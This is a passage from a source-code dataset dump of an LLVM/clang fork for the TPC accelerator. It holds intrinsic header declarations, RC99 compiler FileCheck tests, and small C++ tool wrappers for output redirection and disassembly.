a, bfloat128 b, int switches=0, bfloat128 income={}, bool predicate=1, bool polarity=0);\n#endif\nint64 v_i32_xor_vb(int64 a, int64 b, int switches, int64 income, bool64 predicate, bool polarity=0);\nint64 v_i32_xor_b(int64 a, int64 b, int switches=0, int64 income={}, bool predicate=1, bool polarity=0);\nuint64 v_u32_xor_vb(uint64 a, uint64 b, int switches, uint64 income, bool64 predicate, bool polarity=0);\nuint64 v_u32_xor_b(uint64 a, uint64 b, int switches=0, uint64 income={}, bool predicate=1, bool polarity=0);\nshort128 v_i16_xor_vb(short128 a, short128 b, int switches, short128 income, bool128 predicate, bool polarity=0);\nshort128 v_i16_xor_b(short128 a, short128 b, int switches=0, short128 income={}, bool predicate=1, bool polarity=0);\nushort128 v_u16_xor_vb(ushort128 a, ushort128 b, int switches, ushort128 income, bool128 predicate, bool polarity=0);\nushort128 v_u16_xor_b(ushort128 a, ushort128 b, int switches=0, ushort128 income={}, bool predicate=1, bool polarity=0);\nchar256 v_i8_xor_vb(char256 a, char256 b, int switches, char256 income, bool256 predicate, bool polarity=0);\nchar256 v_i8_xor_b(char256 a, char256 b, int switches=0, char256 income={}, bool predicate=1, bool polarity=0);\nuchar256 v_u8_xor_vb(uchar256 a, uchar256 b, int switches, uchar256 income, bool256 predicate, bool polarity=0);\nuchar256 v_u8_xor_b(uchar256 a, uchar256 b, int switches=0, uchar256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_xor_b(bool256 a, bool256 b, int switches=0, bool256 income={}, bool predicate=1, bool polarity=0);\nbool256 v_i1_xor_vb(bool256 a, bool256 b, int switches, bool256 income, bool256 predicate, bool polarity=0);\n/// @}\n\n\n/// @brief Represents scalar XOR instruction for int5.\n///\n/// @param a The first SRC operand to XOR (SRC1).\n/// @param b The second SRC operand to XOR (SRC2).\n/// @param dimmask Selects IRF lanes participated in the operation.\n/// @param switches Switches of XOR instructions.\n/// @param income Income value of DEST.\n/// @param predicate Predicate value fxor the instruction.\n/// @param polarity True if polarity of the predicate is inverted.\n/// @return Result of operation.\n///\n/// @{\nint5 i_i32_xor(int5 a, int5 b, const int dimmask, int switches, int5 income, bool predicate=1, bool polarity=0);\n/// @}\n" }, { "alpha_fraction": 0.360262006521225, "alphanum_fraction": 0.43209606409072876, "avg_line_length": 22.73056983947754, "blob_id": "c5dfca91f415442044f1f280aff626367f058181", "content_id": "ee430072d1c9bea6c29170c400b21d784323d603", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4580, "license_type": "permissive", "max_line_length": 78, "num_lines": 193, "path": "/clang/test/RC99/CodeGen/op-mul-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\n\nvoid main(int dest, int int5_dest,\n int i1, unsigned u1,\n short s1, unsigned short us1,\n signed char c1, unsigned char uc1) {\n int *ptr = (int __local *)dest;\n \n {\n int __local *d_ptr;\n \n d_ptr = (int __local *)ptr;\n *d_ptr = *d_ptr * i1;\n// CHECK: ld_l %S[[OP_I1:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_I1:[0-9]+]], %S[[OP_I1]], %S2\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_I1]]\n ++ptr;\n\n d_ptr = (int __local *)ptr;\n *d_ptr = *d_ptr * 123;\n// CHECK: ld_l %S[[OP_I2:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_I2:[0-9]+]], %S[[OP_I2:[0-9]+]], 0x7b\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_I2]]\n ++ptr;\n\n d_ptr = (int __local *)ptr;\n *d_ptr = 123 * *d_ptr;\n// CHECK: ld_l %S[[OP_I3:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_I3:[0-9]+]], %S[[OP_I3:[0-9]+]], 0x7b\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_I3]]\n ++ptr;\n }\n\n {\n unsigned *d_ptr;\n\n d_ptr = (unsigned __local *)ptr;\n *d_ptr = *d_ptr * u1;\n// CHECK: ld_l %S[[OP_U1:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_U1:[0-9]+]], %S[[OP_U1]], %S3\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_U1]]\n ++ptr;\n\n d_ptr = (unsigned __local *)ptr;\n *d_ptr = *d_ptr * 123U;\n// CHECK: ld_l %S[[OP_U2:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_U2:[0-9]+]], %S[[OP_U2:[0-9]+]], 0x7b\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_U2]]\n ++ptr;\n\n d_ptr = (unsigned __local *)ptr;\n *d_ptr = 123U * *d_ptr;\n// CHECK: ld_l %S[[OP_U3:[0-9]+]], %S{{[0-9]+}}\n// CHECK: mul.i32 %S[[RES_U3:[0-9]+]], %S[[OP_U3:[0-9]+]], 0x7b\n// CHECK: st_l %S{{[0-9]+}}, %S[[RES_U3]]\n ++ptr;\n }\n\n {\n short *d_ptr;\n short d2;\n short res;\n\n d_ptr = (short __local *)ptr;\n d2 = *d_ptr;\n res = d2 * s1;\n// CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (short __local *)ptr;\n d2 = *d_ptr;\n res = d2 * (short)123;\n// CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (short __local *)ptr;\n d2 = *d_ptr;\n res = (short)123 * d2;\n// CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n }\n\n\n {\n unsigned short *d_ptr;\n unsigned short d2;\n unsigned short res;\n\n d_ptr = (unsigned short __local *)ptr;\n d2 = *d_ptr;\n res = d2 * us1;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (unsigned short __local *)ptr;\n d2 = *d_ptr;\n res = d2 * (unsigned short)123;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (unsigned short __local *)ptr;\n d2 = *d_ptr;\n res = (unsigned short)123 * d2;\n // CHECK: mul.i16 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n }\n\n {\n signed char *d_ptr;\n signed char d2;\n signed char res;\n\n d_ptr = (signed char __local *)ptr;\n d2 = *d_ptr;\n res = d2 * c1;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (signed char __local *)ptr;\n d2 = *d_ptr;\n res = d2 * (signed char)123;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (signed char __local *)ptr;\n d2 = *d_ptr;\n res = (signed char)123 * d2;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n }\n\n {\n unsigned char *d_ptr;\n unsigned char d2;\n unsigned char res;\n\n d_ptr = (unsigned char __local *)ptr;\n d2 = *d_ptr;\n res = d2 * uc1;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, %S{{[0-9]+}}\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (unsigned char __local *)ptr;\n d2 = *d_ptr;\n res = d2 * (unsigned char)123;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n\n d_ptr = (unsigned char __local *)ptr;\n d2 = *d_ptr;\n res = (unsigned char)123 * d2;\n // CHECK: mul.i8 %S{{[0-9]+}}, %S{{[0-9]+}}, 0x7b\n *d_ptr = res;\n ++ptr;\n }\n\n {\n int5 *d_ptr;\n int5 d2;\n int5 res;\n\n d_ptr = (int5 __local *)int5_dest;\n d2 = *d_ptr++;\n res = d2 * *d_ptr;\n // CHECK: mul.i32 b11111 %I{{[0-9]+}}, %I{{[0-9]+}}, %I{{[0-9]+}}\n *d_ptr = res;\n ++d_ptr;\n\n d2 = *d_ptr;\n res = d2 * 123;\n // CHECK: mul.i32 b11111 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}\n *d_ptr = res;\n ++d_ptr;\n\n d2 = *d_ptr;\n res = 123 * d2;\n // CHECK: mul.i32 b11111 %I{{[0-9]+}}, 0x7b, %I{{[0-9]+}}\n *d_ptr = res;\n ++d_ptr;\n }\n}\n" }, { "alpha_fraction": 0.5695652365684509, "alphanum_fraction": 0.5898550748825073, "avg_line_length": 31.85714340209961, "blob_id": "c2a5b5f7b59624ea99854aa3e55724f16b424105", "content_id": "b898eaecf8fd2d1d3a6a072ff6bcea302d6943ea", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 690, "license_type": "permissive", "max_line_length": 102, "num_lines": 21, "path": "/clang/test/RC99/pragma/pragma-loop_taken-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -ast-dump -std=rc99 -triple tpc %s | FileCheck %s\n// RUN: %clang_cc1 -std=rc99 -S -emit-llvm -triple tpc -O2 %s -o - | FileCheck -check-prefix=LLVMIR %s\n\nvoid main(int dest, float value, int start, int end, int stride) {\n __local__ float* res=(__local float *)dest;\n\n #pragma loop_taken\n for (int x = start; x < end; x += stride) {\n *res = value;\n value += 2.0;\n ++res;\n }\n}\n\n// CHECK: AttributedStmt\n// CHECK-NEXT: LoopHintAttr {{.*}} loop_taken Taken Enable\n// CHECK: ForStmt\n\n// LLVMIR: br {{.*}} !llvm.loop [[LOOP:![0-9]+]]\n// LLVMIR: [[LOOP]] = distinct !{[[LOOP]], [[TAKEN:![0-9]+]]}\n// LLVMIR: [[TAKEN]] = !{!\"llvm.loop.taken\", i1 true}\n" }, { "alpha_fraction": 0.5598958134651184, "alphanum_fraction": 0.6484375, "avg_line_length": 37.400001525878906, "blob_id": "f0a79cda49a643e755028397afb22889e30ae7e0", "content_id": "8d54a450403f0a20efb49567960ae89828fc0a57", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 384, "license_type": "permissive", "max_line_length": 135, "num_lines": 10, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_ushort256_to_float256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n ushort256 *sptr = (ushort256 *)src;\n float256 *dptr = (float256 *)dest;\n ushort256 src_val = *sptr;\n *dptr = convert_ushort256_to_float256(src_val, 0);\n}\n\n// CHECK-IR: uitofp <256 x i16> {{.*}} to <256 x float>\n" }, { "alpha_fraction": 0.5224999785423279, "alphanum_fraction": 0.574999988079071, "avg_line_length": 32.33333206176758, "blob_id": "d473e945b0d836f911e6b554e32149470836f251", "content_id": "15936bbf56dd23c33003de74d015fc53d87f7768", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 400, "license_type": "permissive", "max_line_length": 106, "num_lines": 12, "path": "/clang/test/RC99/bfloat16/bf16_copy-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest, int src) {\n _BFloat16 __local *dptr = (_BFloat16 __local *) dest;\n float __local *sptr = (float __local *) src;\n\n *dptr = *sptr;\n// CHECK: ld_l %S1, [[REG:%S[0-9]+]]\n// CHECK: convert.f32 target_type=bf16 [[REG2:%S[0-9]+]], [[REG]]\n// CHECK: st_l %S0, [[REG2]]\n \n}\n" }, { "alpha_fraction": 0.4727540612220764, "alphanum_fraction": 0.5640648007392883, "avg_line_length": 32.95000076293945, "blob_id": "49b68ac816bda2e0e813ee46fa2b96e074e916df", "content_id": "127540f3a1ba9ecac19e9f67fc3c47a1cc0a00a5", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 679, "license_type": "permissive", "max_line_length": 106, "num_lines": 20, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-si-02.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O0 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n\nvoid main(int dest, _Bool pred) {\n int __local *res_ptr = (int __local *)dest;\n\n *res_ptr++ = s_bf16_extract_exp_s(0.8, 1);\n // CHECK: extract_exp.bf16 biased %S{{[0-9]+}}, 0x3f4d, %SP0\n\n *res_ptr++ = s_bf16_extract_exp_s(0.8, 0);\n // CHECK: extract_exp.bf16 %S{{[0-9]+}}, 0x3f4d, %SP0\n\n int res = 0;\n\n *res_ptr++ = s_bf16_extract_exp_s_b(0.8, res, 1, pred, 0);\n // CHECK: extract_exp.bf16 biased %S{{[0-9]+}}, 0x3f4d, %SP{{[0-9]+}}\n\n *res_ptr++ = s_bf16_extract_exp_s_b(0.8, res, 0, pred, 0);\n // CHECK: extract_exp.bf16 %S{{[0-9]+}}, 0x3f4d, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6632736325263977, "alphanum_fraction": 0.6661238074302673, "avg_line_length": 26.288888931274414, "blob_id": "cfe8130e999f4a4e95ac65db1828c1f13f0d9d28", "content_id": "3b59e5f59a799e5c6fc343f93fe408abd9f5f791", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2456, "license_type": "permissive", "max_line_length": 80, "num_lines": 90, "path": "/clang/tools/llvm-tpc/RedirectOutput.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- RedirectOutput.cpp - Override standard output streams --------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"API.h\"\n#include \"MemoryManager.h\"\n#include \"clang/Basic/Version.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include <atomic>\n\nnamespace llvm {\n\nraw_ostream &outs();\nraw_ostream &errs();\nraw_ostream &dbgs();\n\nraw_ostream &outs_std();\nraw_ostream &errs_std();\nraw_ostream &dbgs_std();\n\n} // end namespace llvm\n\n//\n// Redirect the standard output stream functions to an internal name, so we may\n// override them later (below).\n//\n\n#define outs outs_std\n#define errs errs_std\n#include \"lib/Support/raw_ostream.cpp\"\n#undef outs\n#undef errs\n\n#define dbgs dbgs_std\n#include \"lib/Support/Debug.cpp\"\n#undef dbgs\n\nnamespace {\n\n/// A redirect output stream.\nclass RedirectStream : public llvm::raw_ostream {\n /// See raw_ostream::write_impl.\n void write_impl(const char *ptr, size_t size) override {\n (*write)(ptr, size);\n }\n\n /// See raw_ostream::current_pos.\n uint64_t current_pos() const override { return 0; }\n\npublic:\n RedirectStream(WritePfn pfn) : write(pfn) { SetUnbuffered(); }\n\n std::atomic<WritePfn> write;\n};\n\n} // end anonymous namespace\n\nstatic void writeStdOut(const char *ptr, unsigned size) {\n outs_std().write(ptr, size);\n}\n\nstatic void writeStdErr(const char *ptr, unsigned size) {\n errs_std().write(ptr, size);\n}\n\nstatic void writeStdDbg(const char *ptr, unsigned size) {\n dbgs_std().write(ptr, size);\n}\n\nstatic RedirectStream redirectOuts(writeStdOut);\nstatic RedirectStream redirectErrs(writeStdErr);\nstatic RedirectStream redirectDbgs(writeStdDbg);\n\n/// Override the standard raw output streams using the redirects.\nraw_ostream &llvm::outs() { return redirectOuts; }\nraw_ostream &llvm::errs() { return redirectErrs; }\nraw_ostream &llvm::dbgs() { return redirectDbgs; }\n\n/// Set the write functions for redirecting the `out`, `err` and `dbg` streams.\nvoid llvm_tpc_redirectOutput(WritePfn out, WritePfn err, WritePfn dbg) {\n redirectOuts.write = out ? out : writeStdOut;\n redirectErrs.write = err ? err : writeStdErr;\n redirectDbgs.write = dbg ? dbg : writeStdDbg;\n}\n" }, { "alpha_fraction": 0.40530696511268616, "alphanum_fraction": 0.468782514333725, "avg_line_length": 29, "blob_id": "fec7d12493934cdb13b28b28896f847180bcd1c0", "content_id": "2ca836839ab98f36ab034262ebd102f2f62dd993", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1922, "license_type": "permissive", "max_line_length": 115, "num_lines": 62, "path": "/clang/test/RC99/acceptance/batch_norm_stage1_unrolled.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\r\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\r\n\r\n// batch norm for floats\r\nvoid main(tensor ifm , tensor mean_tensor, tensor var_tensor)\r\n{\r\n int5 addr0= 0; \r\n int5 addr1= 0; \r\n int5 addr2= 0; \r\n int5 addr3= 0; \r\n\r\n float64 mean = 0;\r\n float64 var = 0;\r\n\r\n // spatial for loops\r\n for (int h = 0 ; h < 20; h +=4)\r\n {\r\n addr0[1] = h;\r\n addr1[1] = h;\r\n addr2[1] = h;\r\n addr3[1] = h;\r\n for (int w = 0 ; w < 20; w+=4)\r\n {\r\n addr0[2] = w;\r\n addr1[2] = w+1;\r\n addr2[2] = w+2;\r\n addr3[2] = w+3;\r\n float64 tmp0, tmp1,tmp2,tmp3;\r\n tmp0 = v_f32_ld_tnsr_i_b(addr0,ifm,tmp0,1,0);\r\n tmp1 = v_f32_ld_tnsr_i_b(addr1,ifm,tmp1,1,0);\r\n tmp2 = v_f32_ld_tnsr_i_b(addr2,ifm,tmp2,1,0);\r\n tmp3 = v_f32_ld_tnsr_i_b(addr3,ifm,tmp3,1,0);\r\n \r\n mean += tmp0;\r\n var += tmp0 * tmp0;\r\n //nop\r\n // nop\r\n mean += tmp1;\r\n var += tmp1 * tmp1;\r\n //nop\r\n // nop\r\n mean += tmp2;\r\n var += tmp2 * tmp2;\r\n // nop\r\n // nop\r\n mean += tmp3;\r\n var += tmp3 * tmp3;\r\n }\r\n }\r\n int5 storeCoord = 0;\r\n f32_st_tnsr_i_v_b(storeCoord, mean_tensor, mean, 1,0);\r\n f32_st_tnsr_i_v_b(storeCoord, var_tensor, var, 1,0);\r\n}\r\n\r\n// CHECK:main\r\n// CHECK-ASM: main\r\n// CHECK-ASM: halt\r\n// CHECK-O1:main\r\n// CHECK-ASM-O1: main\r\n// CHECK-ASM-O1: halt\r\n" }, { "alpha_fraction": 0.43617796897888184, "alphanum_fraction": 0.5091174244880676, "avg_line_length": 34.153846740722656, "blob_id": "93aa80fc0018525ace64526ed333b2f413a5cc52", "content_id": "650e599fecf8cc6a57a6369cd7953585dde48261", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1371, "license_type": "permissive", "max_line_length": 106, "num_lines": 39, "path": "/clang/test/RC99/IntrinsicsM/ld_l/b_b_ld_l_s_b.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck %s\n\n//XFAIL: *\nvoid main(unsigned addr, int dest, _Bool pred) {\n int __local *dptr = (int __local *)dest;\n\n _Bool result = b_b_ld_l_s_b(addr, 0, 0, pred, 0);\n *dptr++ = result;\n \n result = b_b_ld_l_s_b(addr, 0, 1, pred, 1);\n *dptr++ = result;\n \n result = b_b_ld_l_s_b(0x20, 0, 0, pred, 1);\n *dptr++ = result;\n \n result = b_b_ld_l_s_b(0x20, 0, 1, pred, 0);\n *dptr = result;\n}\n\n//CHECK: ld_l %SP[[Pred1:[0-9]+]], %S0, %SP[[PredA:[0-9]+]]\n//CHECK: mov %S[[Val1:[0-9]+]], 0x1, %SP[[Pred1]]\n//CHECK: mov %S[[Val1]], 0x0, !%SP[[Pred1]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val1]]\n\n//CHECK: ld_l mmio %SP[[Pred2:[0-9]+]], %S0, !%SP[[PredA]]\n//CHECK: mov %S[[Val2:[0-9]+]], 0x1, %SP[[Pred2]]\n//CHECK: mov %S[[Val2]], 0x0, !%SP[[Pred2]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val2]]\n\n//CHECK: ld_l %SP[[Pred3:[0-9]+]], 0x20, !%SP[[PredA]]\n//CHECK: mov %S[[Val3:[0-9]+]], 0x1, %SP[[Pred3]]\n//CHECK: mov %S[[Val3]], 0x0, !%SP[[Pred3]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val3]]\n\n//CHECK: ld_l mmio %SP[[Pred4:[0-9]+]], 0x20, %SP[[PredA]]\n//CHECK: mov %S[[Val4:[0-9]+]], 0x1, %SP[[Pred4]]\n//CHECK: mov %S[[Val4]], 0x0, !%SP[[Pred4]]\n//CHECK: st_l %S{{[0-9]+}}, %S[[Val4]]\n" }, { "alpha_fraction": 0.6197516322135925, "alphanum_fraction": 0.6232998371124268, "avg_line_length": 29.745454788208008, "blob_id": "9b900b4ba408efd92f69898bf110f27e1ecaf78e", "content_id": "ad563088a30a83591a8845d65dd7fa21f301dce6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1691, "license_type": "permissive", "max_line_length": 80, "num_lines": 55, "path": "/clang/tools/llvm-tpc/Disassembler.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- Disassembler.cpp - TPC LLVM disassembler entry point ---------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"API.h\"\n#include \"MemoryManager.h\"\n\nstatic char *tpcAsmString = nullptr;\nstatic unsigned tpcAsmSize = 0;\nstatic llvm::tpc::GlobalBufOStream tpcAsmStream(tpcAsmString, tpcAsmSize);\nstatic llvm::raw_ostream &getTPCAsmStream() { return tpcAsmStream; }\n\n#define main objdump_main\n#define outs getTPCAsmStream\n#include \"../../../llvm/tools/llvm-objdump/llvm-objdump.cpp\"\n\nusing namespace llvm;\nusing namespace llvm::tpc;\n\nstatic unsigned takeTPCAsmString(char **tpcAsm) {\n tpcAsmStream.flush();\n unsigned size = tpcAsmSize;\n *tpcAsm = tpcAsmString;\n tpcAsmStream.reset();\n return size;\n}\n\nunsigned llvm_tpc_disassembleTPC(const char *elfBin, unsigned elfSize,\n char **tpcAsm) {\n auto binOrErr = createBinary(MemoryBufferRef({elfBin, elfSize}, {}));\n if (!binOrErr) {\n handleAllErrors(binOrErr.takeError(), [](const ErrorInfoBase &errInfo) {\n auto &os = WithColor::error(errs());\n errInfo.log(os);\n os << '\\n';\n });\n return 0;\n }\n\n auto *binary = cast<ObjectFile>(binOrErr->get());\n\n TripleName = \"tpc\";\n NoShowRawInsn = true;\n NoLeadingAddr = true;\n FilterSections.addValue(\".text\");\n\n disassembleObject(binary, Relocations);\n return takeTPCAsmString(tpcAsm);\n}\n" }, { "alpha_fraction": 0.25889328122138977, "alphanum_fraction": 0.6264821887016296, "avg_line_length": 36.44444274902344, "blob_id": "7d8a3bcafd4d1f9d71fcf7c0143d940095b5119b", "content_id": "ea73851a89aa7e889f12535de245a97f9b698503", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1012, "license_type": "permissive", "max_line_length": 75, "num_lines": 27, "path": "/clang/test/RC99/asm-inline/asm-mov-04.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -emit-obj -triple tpc-none-none -std=rc99 -O1 %s -o %t.o\n// RUN: llvm-objdump -s -j .text %t.o | FileCheck %s\n\nvoid main(int x) {\n register int result __asm__(\"sp4\");\n register int source __asm__(\"s20\");\n __asm volatile (\"nop; mov %0, %1\" :\"=S\" (result): \"s\" (source):);\n}\n\n\n// 0-5 SPU_OPCODE 001000 (MOV)\n// 6-12 SPU_SRC_A 00010100 (S20)\n// 20-26 SPU_DEST 00110100 (SP4)\n// 27-30 SPU_OPERANDS_TYPE 0110 (BOOL)\n// 43-48 VPU_OPCODE 111111 (NOP)\n// 119-123 LOAD_OPCODE 11111 (NOP)\n// 140-144 STORE_OPCODE 11111 (NOP)\n// \n// 0 - 31 00001000 00000101 01000000 00110011\n// 32 - 63 00000000 11111000 00000001 00000000\n// 64 - 95 00000000 00000000 00000000 00000000\n// 96 - 127 00000000 00000000 10000000 00001111\n// 128 - 159 00000000 11110000 00000001 00000000\n// 160 - 191 00000000 00000000 00000000 00000000\n//\n// CHECK: 0000 3f000000 00f80100 00000000 0000800f\n// CHECK: 0010 00500100 00000000 00000000 00000000\n\n" }, { "alpha_fraction": 0.5272727012634277, "alphanum_fraction": 0.5772727131843567, "avg_line_length": 35.66666793823242, "blob_id": "90d84e328f2ec27a527a924e2e5f38f9077cbbff", "content_id": "304f79b5161537ac0b8502609f5fcfbc1ab217b7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 660, "license_type": "permissive", "max_line_length": 78, "num_lines": 18, "path": "/clang/test/RC99/IntrinsicsM/s_u16_udiv_step_s-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, int src, unsigned short divisor) {\n uint16_t_pair_t __local *sptr = (uint16_t_pair_t __local *) src;\n uint16_t_pair_t __local *dptr = (uint16_t_pair_t __local *) dest;\n uint16_t_pair_t quot_rem = *sptr;\n quot_rem = s_u16_udiv_step_s(quot_rem, divisor, 5);\n dptr[0] = quot_rem;\n}\n\n// load dividend and remainder to a register pair\n// CHECK-DAG: ld_l %S[[ZN:[0-9]+]], %S1\n// CHECK-DAG: ld_l %S[[ZNN:[0-9]+]], %S{{[0-9]+}}\n\n// CHECK: udiv_step.u16 0x5 %Z[[ZN]], %S2, %SP0\n\n// CHECK-DAG: st_l %S0, %S[[ZN]]\n// CHECK-DAG: st_l %S{{[0-9]+}}, %S[[ZNN]]\n" }, { "alpha_fraction": 0.43653249740600586, "alphanum_fraction": 0.5015479922294617, "avg_line_length": 28.363636016845703, "blob_id": "07b1583a9e873b2bcd7b966ecbbd31da5f32f1de", "content_id": "032c8301351a60e8e583489032b377b35007a724", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 323, "license_type": "permissive", "max_line_length": 80, "num_lines": 11, "path": "/clang/test/RC99/regression/gaudi-109.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\nvoid main(int ifm)\n{ \n int5 idx = get_index_space_size();\n int t = idx[0];\n i32_st_l_s_s_b(ifm,t,0,1,0);\n}\n\n// CHECK: mov_irf_dim 0x0 [[REGS:%S[0-9]+]], [[I:%I[0-9]+]], %SP0\n// CHECK: st_l [[S:%S[0-9]+]], [[REGS]], %SP0\n" }, { "alpha_fraction": 0.48906561732292175, "alphanum_fraction": 0.5765407681465149, "avg_line_length": 28.58823585510254, "blob_id": "96d45e7b8f219976ef174d0b6e8e8ba86e75cc8f", "content_id": "a26df5589ed2fda00ee5d7a756989a23c4edd832", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 503, "license_type": "permissive", "max_line_length": 66, "num_lines": 17, "path": "/clang/test/RC99/regression/gaudi-541.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//RUN: %tpc_clang -S %s -o - | FileCheck %s\n//RUN: %tpc_clang -march=gaudi -S %s -o - | FileCheck %s\n\nvoid main(tensor ofm)\n{\n int64 v1 = 1;\n 